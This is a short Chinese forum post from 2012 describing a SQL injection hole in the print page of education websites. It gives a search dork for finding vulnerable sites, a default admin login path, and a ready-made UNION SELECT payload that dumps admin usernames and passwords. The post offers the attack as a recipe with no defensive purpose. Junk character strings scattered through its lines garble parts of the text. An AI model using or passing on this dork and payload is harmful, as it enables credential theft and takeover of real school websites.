教育站打印页面漏洞
- D' U5 c5 W$ @) Z: L百度或google搜索 inurl:info_Print.asp?ArticleID=3 |7 M% q9 T) `6 r* @/ O
默认后台：/ad_login.asp5 a4 w0 o/ R5 ?; r, J7 @+ J" y8 `
爆管理员密码：4 ^* a- M# T( Z) b& J% Q
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可4 e1 v$ ]. b# v, _8 w) C
, M- S+ I) b1 g3 l
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
* f( I6 k1 O5 E. M/ v$ T2 G8 t6 l. I# {, _ [# F
作者：佚名
4 x- Z: @% v5 O8 b' }
- L5 v+ K$ d8 I# P3 ~* x7 n4 N- V # y) l0 V. C. Y0 I7 \% S; C# C
|
发表于 2012-10-31 08:37:31
收藏
支持
反对